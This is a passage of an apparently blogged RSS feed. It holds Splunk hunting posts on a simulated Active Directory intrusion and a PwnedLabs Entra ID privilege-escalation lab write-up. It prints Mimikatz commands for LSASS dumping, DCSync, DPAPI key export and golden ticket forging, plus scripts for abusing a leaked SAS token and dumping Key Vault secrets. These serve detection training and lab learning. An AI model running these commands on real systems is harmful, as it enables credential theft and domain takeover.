regular user’s workstation, or why nobody noticed a replication request from a laptop for weeks. Those are governance and culture problems.</p><p>The NCSC Cyber Assessment Framework covers that side. For example, the internal phishing maps to <strong>Principle B6 (Staff Awareness and Training)</strong>. Its outcome <strong>B6.a Cyber Security Culture</strong> lets an organisation rate itself as <em>not achieved</em>, <em>partially achieved</em> or <em>achieved</em>. That turns “run a phishing campaign” into a measurable, auditable goal. Using ATT&amp;CK for technical fixes and the CAF for organisational maturity gives a much more complete remediation plan than either one on its own.</p><h3>Lessons learned</h3><p>The main takeaway is that <strong>the detections were there</strong>. Defender flagged the phishing click, the Mimikatz execution, the DCSync, the Golden Ticket and the SID History injection, most of them rated High. Every alert ended up “Resolved,” yet the attacker came back a month later and did it again.</p><p>Detection without response is just logging. For an organisation, that means someone has to own the alerts and escalate a chain rather than closing alerts one at a time. For an analyst, it means learning to pivot through nested JSON (spath, mvexpand) until the raw command line shows you what the attacker actually did.</p><p>Thanks for reading the series. If you work in detection engineering, I’d love to hear how you’d have hunted this differently.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=448f2c2d269d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hunting an Intrusion in Splunk, Part 2: From Jeff’s Laptop to DC]]></title>
            <link>https://medium.com/@byL0r3t/hunting-an-intrusion-in-splunk-part-2-from-jeffs-laptop-to-dc-a486315435de?source=rss-5672eb3b9f8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/a486315435de</guid>
            <category><![CDATA[splunk]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[blue-team]]></category>
            <dc:creator><![CDATA[byL0r3t]]></dc:creator>
            <pubDate>Fri, 25 Sep 2026 18:11:58 GMT</pubDate>
            <atom:updated>2026-09-25T18:11:58.399Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This series were written with Claude’s AI help, however the project itself was a master’s project and was not done by AI, not the technical part, not the writing part and it can be retrieved here:</em></p><p><a href="https://drive.google.com/file/d/1KSXg0SzSdbRRwWS9jld1AYaDUlCVhsP9/view?usp=sharing"><em>https://drive.google.com/file/d/1KSXg0SzSdbRRwWS9jld1AYaDUlCVhsP9/view?usp=sharing</em></a></p><p><em>Mimikatz, DPAPI, DCSync and Golden Tickets, and how to pull the attacker’s exact commands out of nested Defender JSON.</em></p><p>In Part 1, a phishing link sent from a compromised internal account gave an attacker a foothold on <strong>WIN10V</strong> as the user Jeff. This post follows the credential theft that turned that foothold into control of the whole domain.</p><h3>The SPL trick that made this possible</h3><p>Defender alerts store evidence as an array of entities. Process entities hold the most useful field of all: processCommandLine. Because it&#39;s nested inside an array, a plain search won&#39;t reach it cleanly. The fix is to expand the array so each entity becomes its own event:</p><pre>source=&quot;IY4S731_assesment.log&quot; index=&quot;std_23131856&quot;<br>| spath path=entities{} output=entity<br>| mvexpand entity<br>| spath input=entity<br>| search entityType=Process processCommandLine=&quot;*dcsync*&quot;</pre><ul><li>spath path=entities{} pulls out the entities array.</li><li>mvexpand splits it into one row per entity.</li><li>The second spath parses each entity&#39;s fields.</li><li>The last search finds command lines containing a keyword.</li></ul><p>I reused this pattern throughout, swapping *dcsync* for *backupkeys*, *kirbi* and *Rubeus*. It&#39;s the most reusable thing I took from this project.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K-WJiKO8cSNwdGIt-tQS_Q.png" /><figcaption>Expanding nested entities to reach processCommandLine.</figcaption></figure><h3>T1003.001: LSASS Memory</h3><p>About an hour after the phishing click, Defender for Endpoint flagged a known credential theft tool on WIN10V, running under Jeff’s account. The command line gives it away:</p><pre>&quot;mimikatz.exe&quot; privilege::debug sekurlsa::logonpasswords exit</pre><p>privilege::debug requests the SeDebugPrivilege, and sekurlsa::logonpasswords reads cached credentials out of LSASS memory. Mimikatz ran from C:\M365DAttack\Mimikatz\x64, launched from PowerShell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*em77vUhPAWjjmqQGa2BT_Q.png" /><figcaption>Mimikatz dumping LSASS on WIN10V under Jeff’s account.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IjXX6-o6nW-NQ0ruaND5SA.png" /><figcaption>The affected host (WIN10V) and the logged-on user (Jeff).</figcaption></figure><p>This matters because a standard user can’t do it. SeDebugPrivilege normally requires local admin, so <strong>Jeff was very likely a local administrator on his own machine</strong>. That’s the first least-privilege failure: one click by a local admin gives the attacker everything cached in memory on that host.</p><h3>T1555: The DPAPI Domain Backup Key</h3><p>Two minutes later, Defender for Identity raised a more alarming alert. <em>Steve Lewis (IT Director)</em>, working from WIN10V, had successfully retrieved the <strong>DPAPI domain backup key</strong> from the domain controller.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*6_Nxhg9FpjRwOzmILlsSlA.png" /><figcaption>The IT Director’s identity was used to pull the DPAPI backup key from the DC.</figcaption></figure><p>The DPAPI backup key lets anyone decrypt DPAPI-protected secrets for any domain user, including saved browser passwords, Credential Manager entries and more. It is effectively a master key, and it doesn’t rotate on its own.</p><p>The same activity appears again on 11 November. Searching for *backupkeys* returns the exact command:</p><pre>&quot;mimikatz.exe&quot; privilege::debug &quot;lsadump::backupkeys /system:msdxv2-dc.msdxv2.m365dpoc.com /export&quot; exit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Brawa4AUc7Pcx4GADow_w.png" /><figcaption>Searching for the backupkeys command.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*nzcAI0ugo5rrKwnun_8Ahg.png" /><figcaption>Mimikatz exporting the domain’s DPAPI backup keys.</figcaption></figure><p>Steve’s identity shows up here because his credentials, or a ticket for him, were being used from Jeff’s machine. The IT Director’s account is exactly the kind of high-value identity an attacker looks for in a memory dump.</p><h3>T1558.001: Golden Ticket</h3><p>The most serious finding from 30 September is a Defender for Identity <strong>Golden Ticket</strong> alert. A Kerberos ticket for Steve Lewis was used from WIN10V to access three resources, and the ticket’s lifetime was longer than the domain’s maximum. Forged tickets tend to have unrealistic lifetimes because the attacker sets them, not the KDC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*hPCv8wNTCt2tyNzaanDuFA.png" /><figcaption>Defender for Identity flags a ticket that outlived the domain’s maximum ticket lifetime.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*qnNdKLzk15RIH_6M4qAsGw.png" /><figcaption>Hosts involved in the Golden Ticket activity.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*_MJlwdmW-SeNXp5QYyAPqg.png" /><figcaption>The domain controller was also touched by the forged ticket.</figcaption></figure><p>Searching for *kirbi* (the Kerberos ticket file extension) shows the command that forged it:</p><pre>&quot;mimikatz.exe&quot; privilege::debug &quot;kerberos::golden<br>  /domain:msdxv2.m365dpoc.com /sid:S-1-5-21-...<br>  /krbtgt:&lt;REDACTED&gt; /user:Steve<br>  /ticket:C:\M365DAttack\Admin-Tickets\ticket.kirbi /ptt&quot; exit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zjLVO63hfn1lfYVGEbHu6g.png" /><figcaption>Searching for Kerberos ticket files.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*kqh2yZ9YQ60cikllJ3Yi3A.png" /><figcaption>Forging a Golden Ticket for Steve and injecting it into the session with /ptt.</figcaption></figure><p>A Golden Ticket is a Kerberos ticket-granting ticket signed with the <strong>krbtgt</strong> account’s hash. Anyone holding that hash can mint tickets for any user, with any group memberships and any lifetime, and the domain will accept them. The /ptt flag injects the ticket straight into the current session.</p><h3>T1003.006: DCSync</h3><p>On 11 November, more than a month after the initial breach, Defender for Identity flagged a suspected <strong>DCSync</strong> attack: Steve Lewis, from WIN10V, sent a replication request to the domain controller.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*ZiAGuK4TssmTtEhogUvwKw.png" /><figcaption>A workstation asking the DC to replicate directory data, which only domain controllers should do.</figcaption></figure><p>The *dcsync* search shows the target:</p><pre>&quot;mimikatz.exe&quot; &quot;lsadump::dcsync /domain:msdxv2.m365dpoc.com /user:krbtgt&quot; exit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B7ihAlS3XkfutvWk1apgQA.png" /><figcaption>DCSync targeting the krbtgt account.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rX2DZkRHjmghKQm9BkKBpw.png" /><figcaption>Defender identifies the Mimikatz threat family.</figcaption></figure><p>DCSync abuses the Directory Replication Service protocol (MS-DRSR). The attacker pretends to be a domain controller and asks a real DC to replicate password hashes. No code runs on the DC and NTDS.dit is never touched. The only requirement is an account with replication rights, and Steve’s account had them.</p><p><strong>A note on the timeline.</strong> The Golden Ticket on 30 September was forged with the krbtgt hash <em>before</em> this DCSync happened. So the attacker already had that hash through some route the logs don’t show, and the November DCSync means they came back for it again. Either way, the conclusion is the same: once krbtgt is exposed, every Kerberos ticket in the domain is untrustworthy, and one password reset won’t fix it.</p><h3>Where this leaves us</h3><p>By this point the attacker has local credentials from WIN10V, the DPAPI domain backup key, and the krbtgt hash. That’s close to total control of Active Directory. In Part 3, I cover how they moved between hosts (pass-the-hash, PsExec, RDP, pass-the-ticket), how they planted a backdoor admin with SID History, how they tried to disable Defender, and what the organisation should change, mapped to the NCSC Cyber Assessment Framework</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a486315435de" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hunting an Intrusion in Splunk, Part 1: One Click, One Inbox Rule]]></title>
            <link>https://medium.com/@byL0r3t/hunting-an-intrusion-in-splunk-part-1-one-click-one-inbox-rule-ec233d042aff?source=rss-5672eb3b9f8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/ec233d042aff</guid>
            <category><![CDATA[splunk]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[byL0r3t]]></dc:creator>
            <pubDate>Wed, 23 Sep 2026 22:43:05 GMT</pubDate>
            <atom:updated>2026-09-23T22:43:05.989Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This series were written with Claude’s AI help, however the project itself was a master’s project and was not done by AI, not the technical part, not the writing part and it can be retrieved here:</em></p><p><a href="https://drive.google.com/file/d/1KSXg0SzSdbRRwWS9jld1AYaDUlCVhsP9/view?usp=sharing"><em>https://drive.google.com/file/d/1KSXg0SzSdbRRwWS9jld1AYaDUlCVhsP9/view?usp=sharing</em></a></p><p><em>How a single phishing link turned into a full Active Directory compromise, and how I traced it with Splunk.</em></p><p>As part of my master’s module on Security Management and Incident Response, I was given a Splunk index full of Microsoft 365 Defender alerts and one job: work out what happened. I had to find which accounts and hosts were compromised, which techniques were used, and what the organisation should fix.</p><p>This series walks through that investigation. Part 1 covers initial access and the first persistence trick. Part 2 covers credential theft all the way to the krbtgt account. Part 3 covers lateral movement, privilege escalation and defensive recommendations.</p><p>A quick note on the data: this is a lab dataset built from Microsoft 365 Defender attack simulations (you’ll see determination: SecurityTesting in the alerts). The techniques and tooling are real, and the investigative process is the same one you&#39;d use in production.</p><h3>Step one: cut the noise</h3><p>The raw log has a lot of events. Before chasing anything, I wanted a chronological, deduplicated list of the high-severity alerts that were tied to an actual device:</p><pre>source=&quot;IY4S731_assesment.log&quot; index=&quot;std_23131856&quot;<br>| sort 0 creationTime<br>| spath path=devices{}.deviceDnsName output=hostname<br>| search severity=&quot;High&quot; OR severity=&quot;Critical&quot;<br>| dedup description</pre><p>Here’s what each part does:</p><ul><li>sort 0 creationTime puts everything in order, oldest first. The 0 removes Splunk&#39;s default 10,000-result limit.</li><li>spath pulls the hostname out of the nested devices array, so I can focus on events linked to a machine.</li><li>The severity filter keeps only the alerts that matter first.</li><li>dedup description collapses repeated alerts into one line each.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vVkrHZrygcYsrj24W-A1ZA.png" /><figcaption>Initial triage query: high and critical alerts in chronological order.</figcaption></figure><p>That left 28 events, which is small enough to read one by one and build a story from.</p><h3>The attack at a glance</h3><p>Here’s the 30 September chain as I pieced it together:</p><ul><li><strong>05:02–05:17</strong> A phishing email with a malicious link reaches Jeff, and Jeff clicks it.</li><li><strong>05:36</strong> Defender flags an internal phishing campaign sent from Alex’s account to Jeff and Darol.</li><li><strong>06:11</strong> Mimikatz runs on WIN10V and dumps credentials from LSASS.</li><li><strong>06:11–06:14</strong> Pass-the-hash as a helpdesk admin, and an RDP session on WIN10V.</li><li><strong>06:12–06:13</strong> PsExec to WIN10B and the domain controller, Rubeus ticket theft, and Golden Ticket injection.</li><li><strong>06:13–06:15</strong> A backdoor account called BDAdmin is created and SID History is injected.</li></ul><p>On 11 November, the attacker comes back. They create an inbox forwarding rule, run DCSync against krbtgt, export the DPAPI backup key, and a password spray and an unfamiliar admin sign-in follow. On 16 November, there’s an attempt to disable Defender Antivirus.</p><h3>T1566.002: Spearphishing Link</h3><p>The first real signal is a Defender for Office 365 alert: <em>“A potentially malicious URL click was detected.”</em> The alert shows the email came from alex@msdxv2.m365dpoc.com to jeff@msdxv2.m365dpoc.com, with the delivery action set to <strong>Delivered</strong>. Nothing stopped it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*uMDi8WzBtblXs0PaoRODYA.png" /><figcaption>Defender for Office 365 detects Jeff clicking a malicious link sent from Alex’s mailbox.</figcaption></figure><p>Expanding the email cluster entity shows the URL:</p><p>hxxp://gcajebahdi[.]corporatelogon[.]xyz/ab/jnkmbkkdnlgedc</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c3T1AXD244ULQbmFAGOflw.png" /><figcaption>The malicious URL and the ATT&amp;CK mapping Defender assigned to it</figcaption></figure><p>I checked the URL on VirusTotal. Only 3 of 97 vendors flagged it, with BitDefender and G-Data calling it phishing. A low score like that is exactly why reputation filtering alone isn’t enough: newly registered phishing domains often look clean to most engines.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kdF-L2aJHeTbDUJWdAN7Sg.png" /><figcaption>Low detection on VirusTotal. Most engines had nothing on this domain.</figcaption></figure><h3>T1534: Internal Spearphishing</h3><p>This is the detail that changes the investigation. The phishing email didn’t come from outside the company. It came from <strong>Alex, a legitimate internal user</strong>. Defender raised a second alert, <em>“Internal phishing campaign,”</em> listing Alex as the sender and both Darol and Jeff as recipients.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*EQdcJwNx1zlPLQAcklTR0w.png" /><figcaption>The phishing came from inside the organisation, from Alex’s account.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HZKVAG2b35O-9U3Ad3MSNA.png" /><figcaption>Jeff received the internal phishing email. Severity: High.</figcaption></figure><p>Internal phishing means the attacker was already inside before this chain started. There are three explanations worth investigating:</p><ol><li>Alex’s credentials were compromised earlier.</li><li>Alex’s device or session was hijacked.</li><li>Alex is a malicious insider.</li></ol><p>The logs I had don’t settle which one it was. In a real engagement, that becomes its own investigation: Alex’s sign-in history, MFA prompts, device timeline and mailbox audit log.</p><p>Internal phishing works well for attackers because it gets past the “check the sender’s domain” advice most awareness training relies on. The email really does come from a colleague.</p><h3>T1114.003: Email Forwarding Rule</h3><p>On 11 November, Defender for Cloud Apps flagged a <em>“Suspicious inbox forwarding rule”</em> on Jeff’s mailbox. It forwarded all incoming email to sequr@protonmail.com.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*BFautvoNl5LIP0Q1vS3WYg.png" /><figcaption>Every email Jeff receives is silently copied to an external ProtonMail address.</figcaption></figure><p>The rule was created from <strong>185.220.101.3</strong>. VirusTotal flags that IP as malicious (14/91) and tags it as a <strong>Tor</strong> exit node.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*1TEw0W1Lu7ES9eUIbFJLUQ.png" /><figcaption>The rule was created from 185.220.101.3.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*siZOPEKQ9UnC1p7yTy8VYA.png" /><figcaption>The source IP is a known Tor exit node.</figcaption></figure><p>Forwarding rules are an underrated form of persistence. The rule keeps sending data out even if the password is reset, and it can expose the incident response itself to the attacker if responders email each other about the case. <strong>When you remediate a compromised mailbox, check its rules.</strong></p><h3>What’s next</h3><p>At this point the attacker has a foothold on WIN10V through Jeff. In Part 2, I follow them as they dump LSASS with Mimikatz, steal the DPAPI domain backup key, run DCSync against krbtgt, and forge a Golden Ticket. I’ll also show the SPL technique I used to pull the exact attacker command lines out of nested JSON.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ec233d042aff" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Abuse Dynamic Groups in Entra ID for Privilege Escalation — PwnedLabs writeup]]></title>
            <link>https://medium.com/@byL0r3t/abuse-dynamic-groups-in-entra-id-for-privilege-escalation-pwnedlabs-writeup-06d1239fe921?source=rss-5672eb3b9f8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/06d1239fe921</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[byL0r3t]]></dc:creator>
            <pubDate>Wed, 23 Sep 2026 15:37:33 GMT</pubDate>
            <atom:updated>2026-09-23T15:37:33.760Z</atom:updated>
            <content:encoded><![CDATA[<p>This write-up covers the PwnedLabs lab “<strong>Abuse Dynamic Groups in Entra ID for Privilege Escalation</strong>”. As my very first hands-on lab focused on Azure, I found it both challenging and super fun. It gave me the opportunity to explore Entra ID in a practical way while learning several concepts that I hadn’t encountered before. It also made me realise that my existing notes were missing some important fundamentals. I decided to document what I learned along the way. Without further ado, let’s dive in!</p><p>The lab gives you the following <em>Github </em>repo url as a starting point: <a href="https://github.com/Mega-Big-Tech/Applicant-Management">https://github.com/Mega-Big-Tech/Applicant-Management</a></p><p>Based on my experience, when there is a <em>Github </em>involved, I always like to check the commit history for potential secrets revealed on the code and I was right! After a couple of minutes, I identified in the second commit a very interesting SAS token:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cQUOX9I8qmgxa9oN-ZwAFw.png" /></figure><p>As shown below, here is were I identified the SAS token:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aPc-iB28BxQhd9YrqQQPXQ.png" /></figure><p>So, on Powershell, I saved the data as variables to further enumerate the container using that SAS token that potentially never expires.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pj874YuiqB2x6Ll6tz52LQ.png" /></figure><p>To retrieve the storage context, simply provide the storage account name along with the SAS token, as shown below:</p><pre>$ctx = New-AzStorageContext -StorageAccountName $account -SasToken $sas<br><br># Linux equivalent<br>az storage container list \<br>  --account-name &quot;$ACCOUNT&quot; \<br>  --sas-token &quot;$SAS_TOKEN&quot; \<br>  --output table</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ypFEdLviDoWjKJgtkui6Xw.png" /></figure><p>However, I still didn’t have a list of the available containers, so I needed to perform a little more enumeration. Using the Get-AzStorageContainer command, I discovered a container named candidate-resumes. This immediately stood out as particularly interesting, as it suggested that the storage account might contain sensitive recruitment-related information.</p><pre>Get-AzStorageContainer -Context $ctx<br><br># Linux equivalent<br>az storage container list \<br>  --account-name &quot;&lt;storageAccountName&gt;&quot; \<br>  --sas-token &quot;&lt;SAS_TOKEN&gt;&quot; \<br>  --output table</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*MufQA04ZCQKEsPGII6JsCQ.png" /></figure><p>With the command Get-AzStorageBlob, it was possible to enumerate the blob files inside the container.</p><pre>Get-AzStorageBlob -Container &lt;containerName&gt; -Context $ctx<br><br># Linux equivalent<br>az storage blob list \<br>  --account-name &quot;&lt;storageAccountName&gt;&quot; \<br>  --container-name &quot;&lt;containerName&gt;&quot; \<br>  --auth-mode login \<br>  --output table</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XysDdYcMUYqXmXzIipIiuA.png" /></figure><p>To download all the files stored in the blob container, I first needed to enumerate its contents and identify the available files. Once I had the list, I could use the Get-AzStorageBlobContent command to download them for further analysis.</p><pre>Get-AzStorageBlob -Container &lt;containerName&gt; -Context $ctx | Get-AzStorageBlobContent -Destination . -Force<br><br># Linux equivalent<br>az storage blob download-batch \<br>  --account-name &quot;&lt;storageAccountName&gt;&quot; \<br>  --source &quot;&lt;containerName&gt;&quot; \<br>  --destination &quot;.&quot; \<br>  --sas-token &quot;&lt;SAS_TOKEN&gt;&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lGj5qwv-Bb-OJJszaBqeUQ.png" /></figure><p>At this point, we have two names: Daniel Garcia and Angelina Lee. I decided to start by enumerating Angelina’s account, based on the assumption that, as a recent hire, she might still be using a default or temporary password provided during the onboarding process. This made her account a particularly interesting candidate to investigate first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qdpVX2Mz5wwDcN-OWj3eNA.png" /></figure><p>The default password is located on the second file of the container that I previously downloaded:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aZ-FBVY08hjQfFnrmADbEA.png" /></figure><p>So with this first and last name, a tool called “osintname” was used to create potential usernames on the environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aQOVDxqWJ8zIAYlk0vAuRQ.png" /></figure><p>Alright, we got a valid username! By using o365creeper, it was possible to identify a valid username on the tenant.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*x1AVwbb9IpGL00rak2u7xw.png" /></figure><p>To login as Angelina, it is important to first retrieve the tenant ID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*49csjiTcT8YoaKHW_vgGpg.png" /></figure><p>This is the website display of the authentication process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1DkBHdGo2_LMNgo4UA2J6Q.png" /></figure><p>As shown below, the command needs to be configured with the appropriate TenantId and the UseDeviceAuthentication option to ensure authentication is performed through the browser of your choice. Once the authentication process was completed, I verified that the login was successful by running the Get-AzContext command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CutFtCo_zxOSKXGMQn7zLA.png" /></figure><p>I wasn’t aware of this at first, but if you encounter the error stating that the SubscriptionId cannot be null, it means that you also need to authenticate to Microsoft Graph (MgGraph). This was a useful lesson, as it highlighted that authenticating to Azure alone isn’t always enough when working with Microsoft Graph resources.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZVlGFEE23TFmiQbZaUqstQ.png" /></figure><p>After that, when I attempted to import the Microsoft Graph (MgGraph) module, I ran into a second error related to function capacity. Although this was another unexpected issue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zb-eaQPhpcuHbPwSifEhCA.png" /></figure><p>The fix turned out to be relatively straightforward: I simply had to manually increase the maximum function and variable counts. Once these limits were adjusted, I was able to import the Microsoft Graph module successfully and continue with the lab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vebLuR4xPjn7-dy6JAYtdg.png" /></figure><p>Now I can login into the Mg Graph with a similar process to the previous one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WXuxOn3PieSA2h966y_WAA.png" /></figure><h3>List administrative units</h3><p>Enumerating administrative units is always a good idea, as they can provide valuable insight into how an organization has structured and delegated control over its directory. Administrative Units (AUs) allow organizations to scope administrative permissions, enabling specific administrators or users to manage resources such as users, groups, and devices without granting them access to the entire directory. Understanding these delegations can therefore reveal interesting paths for further enumeration and potential privilege escalation.</p><pre>Get-MgDirectoryAdministrativeUnit<br><br># Linux equivalent<br>az rest \<br>  --method GET \<br>  --url &quot;https://graph.microsoft.com/v1.0/directory/administrativeUnits&quot; \<br>  --query &quot;value[].{Name:displayName,ID:id,Description:description}&quot; \<br>  --output table</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UX824BzbXXEqW8JaVHnkSw.png" /></figure><p>One Administrative Unit that immediately caught my attention was <em>ONBOARDING-ENGINEERING,</em> as it directly relates to Angelina’s context. With that in mind, the next step was to investigate which roles had been assigned to this AU. As shown below, we discovered that it had the User Administrator role assigned. This is particularly interesting because administrators scoped to this AU can manage users who are members of it, potentially allowing them to make changes to those accounts without requiring broader directory-wide privileges.</p><pre>$scopedRoleMembers = Get-MgDirectoryAdministrativeUnitScopedRoleMember<br><br># Linux equivalent<br>az rest \<br>  --method GET \<br>  --url &quot;https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments?\$filter=directoryScopeId%20ne%20null&quot; \<br>  --query &quot;value[]&quot; \<br>  --output json</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wNGymx092q2_6qfAovv-hw.png" /></figure><p>Let’s check which user have these permissions assigned to:</p><p>Gang gang! The user, Angelina Lee, appears to have the User Administrator permissions assigned within this Administrative Unit. This is a significant finding, as it means Angelina has administrative capabilities over the users scoped to ONBOARDING-ENGINEERING, giving us a potential path toward further privilege escalation.</p><pre>foreach ($member in $scopedRoleMembers){<br>  $userId = $member.RoleMemberInfo.Id<br>  if (-not $userId){<br>    Write-Output &quot;No user ID available for member with Role ID: $($member.RoleId)&quot;<br>    continue<br>  }<br>  $userDetails = Get-MgUser -UserId $userId<br>  Write-Output $userDetails.DisplayName<br>}<br><br># Linux equivalent<br>for user_id in $(az rest \<br>  --method GET \<br>  --url &quot;https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments&quot; \<br>  --query &quot;value[].principalId&quot; \<br>  --output tsv); do<br><br>    if [ -z &quot;$user_id&quot; ]; then<br>        echo &quot;No user ID available&quot;<br>        continue<br>    fi<br><br>    az ad user show \<br>      --id &quot;$user_id&quot; \<br>      --query &quot;displayName&quot; \<br>      --output tsv<br>done</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*846-vpjPaWnsWpBWFS-lrw.png" /></figure><p>With this in mind, we can see that Felix is a member of the Administrative Unit. Since Angelina has the User Administrator role scoped to this AU, she has the ability to manage Felix’s account, including resetting his password. This gives us a clear potential path for further privilege escalation.</p><pre>Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId &lt;AUId&gt;<br><br># Linux equivalent<br>az rest \<br>  --method GET \<br>  --url &quot;https://graph.microsoft.com/v1.0/directory/administrativeUnits/&lt;AUId&gt;/members&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8VBNvxfcYBIcz5Hj47uQjw.png" /></figure><p>Let’s try to change the password then!</p><pre>Get-MgUser -UserId &lt;userID&gt;<br><br># Linux equivalent<br>az ad user show --id &lt;userID&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*02RhGCJmpKL4UdG1U2Ua2g.png" /></figure><p>The password change was successful, so the next logical step is to attempt authentication using the newly compromised account. If successful, this should allow us to continue exploring the permissions and access available to this user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ymFtTpkVLrupEz355Q0ujQ.png" /></figure><p>Now that we have successfully authenticated as Felix, the next logical step is to enumerate the resources available to his account. As shown below, this revealed that Felix has access to an Azure Key Vault, which immediately stands out as an interesting resource to investigate further, given that Key Vaults can contain sensitive secrets, keys, and other credentials.</p><pre>Get-AzResource<br><br># Linux equivalent<br>az resource list</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*URSdNj6jRemPIQwFLXm8Pw.png" /></figure><p>I attempted to retrieve the secrets from the Key Vault, but unfortunately, I wasn’t able to read their contents. It appears that Felix has permission to list the available secrets, but does not have the necessary permissions to actually retrieve their values. This is a good example of how Azure permissions can be complex, as having visibility into a resource doesn’t necessarily mean you can access the sensitive data stored within it.</p><pre>$secrets = Get-AzKeyVaultSecret -VaultName &lt;vaultName&gt;<br><br>foreach ($secret in $secrets){<br>  Write-Output &quot;Secret Name: $($secret.Name)&quot;<br>  $secretValue = Get-AzKeyVaultSecret -VaultName &lt;vaultName&gt; -Name $secret.Name<br>  $secretValueText = $secretValue.SecretValue | ConvertFrom-SecureString -AsPlainText<br>  Write-Output &quot;Secret Value: $secretValueText&quot;<br>  Write-Output &quot;Content Type: $($secretValue.ContentType)&quot;<br>}<br><br># Linux equivalent<br>VAULT_NAME=&quot;&lt;vaultName&gt;&quot;<br><br>az keyvault secret list \<br>  --vault-name &quot;$VAULT_NAME&quot; \<br>  --query &quot;[].name&quot; \<br>  --output tsv |<br>while read -r SECRET_NAME; do<br><br>    echo &quot;Secret Name: $SECRET_NAME&quot;<br><br>    SECRET_VALUE=$(az keyvault secret show \<br>      --vault-name &quot;$VAULT_NAME&quot; \<br>      --name &quot;$SECRET_NAME&quot; \<br>      --query &quot;value&quot; \<br>      --output tsv)<br><br>    CONTENT_TYPE=$(az keyvault secret show \<br>      --vault-name &quot;$VAULT_NAME&quot; \<br>      --name &quot;$SECRET_NAME&quot; \<br>      --query &quot;contentType&quot; \<br>      --output tsv)<br><br>    echo &quot;Secret Value: $SECRET_VALUE&quot;<br>    echo &quot;Content Type: $CONTENT_TYPE&quot;<br>    echo<br>done</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4vaaNCjzL05lNJq-DYyQ0A.png" /></figure><p>One possible route from here is to enumerate the dynamic groups within the tenant. As shown below, this can help identify groups whose membership is 